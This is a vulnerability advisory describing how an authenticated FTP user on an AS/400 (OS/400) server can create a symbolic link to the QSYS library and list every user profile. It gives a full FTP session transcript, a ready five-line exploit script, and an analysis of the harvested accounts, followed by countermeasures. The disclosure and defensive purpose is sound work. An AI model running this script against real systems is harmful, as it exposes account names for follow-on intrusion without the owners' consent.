Disclosure of AS/400 user accounts via the FTP server

Overview

AS/400 servers support FTP in two modes, legacy mode and IFS mode, and supports switching between both modes by a special FTP command. When in IFS mode, it is possible to create a special symbolic link file and retrieve the full list of user accounts.

Details

The iSeries FTP server supports two methods to looks at disk contents. You can view and manipulate existing libraries and the database files inside the libraries in the traditional legacy mode, or as part of the Integrated File System (IFS).

The iSeries FTP server can be initially defined to use either method.

Use the "quote stat" command to see the initial setup.

```
C:\ >ftp as400.victim.com
Connected to as400.victim.com.
220-QTCP at 192.168.0.1.
220 Connection will close if idle more than 5 minutes.
User (as400.victim.com:(none)): as400user
331 Enter password.
Password: ******
230 AS400USER logged on.

ftp> quote stat
211-FTP Server connected to remote address host 10.1.1.1, port 3629.
211-NAMEFMT set to 0.
211-TRIM trailing blanks when sending database files option set to 1.
211-Allow database files with null fields (NULLFLDS) option set to 0.
211-Create new database file CCSID (CRTCCSID) option set to *CALC.
211-Directory listing format (LISTFMT) option set to 0.
211-User is AS400USER.  Working directory is library QGPL.
211-3473 bytes of control data have transferred.
211-There is no current data connection.
211-The next data connection will be actively opened.
211-to address host 10.1.1.1, port 3629 using record format V and record
length 80.
211-File transfer time-out value set to 420 seconds.
211  Current inactivity time-out value set to 300 seconds.
```

The underlined response shows that the current name format is 0, or legacy mode. To change the name format issue the following command:


```
ftp> quote site namefmt 1
250  Now using naming format "1".
```

We also have to tell the server to display the directory listing in a Unix compatible style:

```
ftp> quote site listfmt 1
250 Directory listing format (LISTFMT) option set to 1.
```

Initially, the server refuses to display any non-database objects from the QSYS.LIB directory that actually is the QSYS library.

```
ftp> dir /qsys.lib/*.usrprf
200 PORT subcommand request successful.
501 Unknown extension in database file name.
```

The server knows that we are interrogating a library and refuses to provide us with information other than database files. However, we have a trick up our sleeve. We will create a symbolic link to the QSYS library in an IFS directory. The symbolic link will be created with the ADDLNK command, by appending the correct command string to the "quote rcmd" FTP command.

```
ftp> mkdir test12345
250 Directory "test12345" created.

ftp> quote rcmd ADDLNK OBJ('/qsys.lib') NEWLNK('/test12345/qsys')
250 Command ADDLNK OBJ('/qsys.lib') NEWLNK('/test12345/qsys') successful.
```

As an alternative to the ADDLNK command, and if Qshell is installed, we can create the symbolic link with the Qshell "ln" command.

```
ftp> quote rcmd QSH CMD('ln -fs /qsys.lib /test12345/qsys')
250 Command QSH CMD('ln -s /qsys.lib /test12345/qsys') successful.
```

Let's verify that the symbolic link exists.

```
ftp> cd /test12345
250 "/test12345" is current directory.

ftp> dir
200 PORT subcommand request successful.
125 List started.
lrwxrwxrwx   1 AS400USER0              9 Jan 19 13:37 qsys -> /qsys.lib
250 List completed.
ftp: 303 bytes received in 0.13Seconds 2.33Kbytes/sec.
```

We retry to view the list of user profiles, and this time we hit gold.


```
ftp> dir /test12345/qsys/*.usrprf
200 PORT subcommand request successful.
125 List started.
----------   1 QSECOFR  0        12345 Nov 21 2002  AS400USER.USRPRF
----------   1 QSECOFR  0        53248 Sep 14 2000  DSPGMR.USRPRF
----------   1 QSECOFR  0        53248 Jan 19 13:33 JACQUE.USRPRF
----------   1 QSECOFR  0        90112 Jan 19 00:35 JOE.USRPRF
----------   1 JOE      0        36864 Sep 14 2000  JOHN.USRPRF
----------   1 JOE      0        45056 Jun 13 2002  LESLIE.USRPRF
----------   1 QSECOFR  0        53248 Jan 19 08:03 MAX.USRPRF
----------   1 JOE      0        53248 Jan 19 09:41 MICHAEL.USRPRF
----------   1 QSYS     0        32768 Sep 14 2000  QAUTPROF.USRPRF
----------   1 QSYS     0        32768 Sep 14 2000  QBRMS.USRPRF
----------   1 QSYS     0        16384 Sep 14 2000  QCOLSRV.USRPRF
----------   1 QSYS     0       274432 Jan 19 13:36 QDBSHR.USRPRF
----------   1 QSYS     0        32768 Jan 16 20:42 QDBSHRDO.USRPRF
----------   1 QSYS     0       651264 Sep 01 07:48 QDFTOWN.USRPRF
----------   1 QSYS     0        16384 Sep 14 2000  QDIRSRV.USRPRF
----------   1 QSYS     0        16384 Sep 14 2000  QDLFM.USRPRF
----------   1 QSYS     0        57344 Jan 19 13:33 QDOC.USRPRF
----------   1 QSYS     0        32768 Sep 14 2000  QDSNX.USRPRF
----------   1 QSYS     0        16384 Sep 14 2000  QEJB.USRPRF
----------   1 QSYS     0        32768 Sep 14 2000  QFNC.USRPRF
----------   1 QSYS     0        32768 Nov 02 2000  QGATE.USRPRF
----------   1 QSYS     0        24576 Sep 14 2000  QLPAUTO.USRPRF
----------   1 QSYS     0        24576 Jan 18 08:16 QMSF.USRPRF
----------   1 QSYS     0        32768 Sep 14 2000  QNETSPLF.USRPRF
----------   1 QSYS     0        32768 Sep 14 2000  QNFSANON.USRPRF
----------   1 QSYS     0       544768 Jan 18 08:28 QPGMR.USRPRF
-------rwx   1 QSYS     0        36864 Jan 05 03:01 QPRJOWN.USRPRF
----------   1 QSYS     0        53248 Jun 18 2002  QRJE.USRPRF
----------   1 QSYS     0       561152 Jan 19 13:37 QSECOFR.USRPRF
----------   1 QSYS     0        24576 Jan 16 06:31 QSNADS.USRPRF
----------   1 QSYS     0        98304 Jan 19 13:36 QSPL.USRPRF
-------r-x   1 QSYS     0        24576 Jan 18 08:14 QSPLJOB.USRPRF
----------   1 QSYS     0       491520 Jan 18 08:15 QSRV.USRPRF
----------   1 QSYS     0        73728 Jan 18 08:15 QSRVBAS.USRPRF
----------   1 QSYS     0      2387968 Jan 19 03:00 QSYS.USRPRF
----------   1 QSYS     0        73728 Jan 18 08:15 QSYSOPR.USRPRF
----------   1 QSYS     0        45056 Jan 19 00:35 QTCP.USRPRF
----------   1 QSYS     0        32768 Jan 18 08:25 QTFTP.USRPRF
----------   1 QSYS     0        16384 Sep 14 2000  QTMHHTP1.USRPRF
----------   1 QSYS     0        16384 Sep 14 2000  QTMHHTTP.USRPRF
----------   1 QSYS     0        36864 Jun 24 2002  QTMPLPD.USRPRF
----------   1 QSYS     0        36864 Jan 18 08:26 QTMTWSG.USRPRF
----------   1 QSYS     0        24576 Sep 14 2000  QTSTRQS.USRPRF
----------   1 QSYS     0        45056 Jan 18 08:24 QUSER.USRPRF
----------   1 QSYS     0        36864 Jun 18 2002  QX400.USRPRF
-------rwx   1 QSECOFR  0       118784 Jan 17 12:56 SYNTAX.USRPRF
----------   1 QSECOFR  0        53248 Jan 15 12:39 TFTP.USRPRF
250 List completed.
ftp: 5073 bytes received in 1.84Seconds 2.75Kbytes/sec.
```


We now have the entire list of user profiles on the system and can begin hacking those users at our convenience. A closer look at the list reveals some very interesting information. It is obvious that JOE is a security administrator, because he is the owner of several user profile objects. The date and time information indicate when the user profile was used for the last time. We can see that JOHN has not logged in since September 2000 and LESLIE has not logged in since June 2002. The public authority to the SYNTAX user profile is read, write and execute – not very smart.

The IBM supplied profiles starting with Q disclose some of the services installed on the server, among them NFS (QNFSANON), HTTP server (QTMHHTTP), and others.

The full FTP script is:

```
quote site namefmt 1
quote site listfmt 1
mkdir test12345
quote rcmd ADDLNK OBJ('/qsys.lib') NEWLNK('/test12345/qsys')
dir /test12345/qsys/*.usrprf
```

Vulnerable Systems:

OS/400 versions greater than or equal to 4.3. Previous versions were not checked.

Countermeasures:

Manage the permissions of users to run remote commands via FTP and to view IFS directories. These permissions are managed by security exit APIs, and I recommend using a commercial tool rather than writing your own security exit programs.

Set public authority for the ADDLNK command and for the Qshell ln tool to "exclude".

Audit the directories accessible via FTP for symbolic links.

More information about AS/400 FTP vulnerabilities and about AS/400 security issues can be found in the "Hacking iSeries" book, at www.venera.com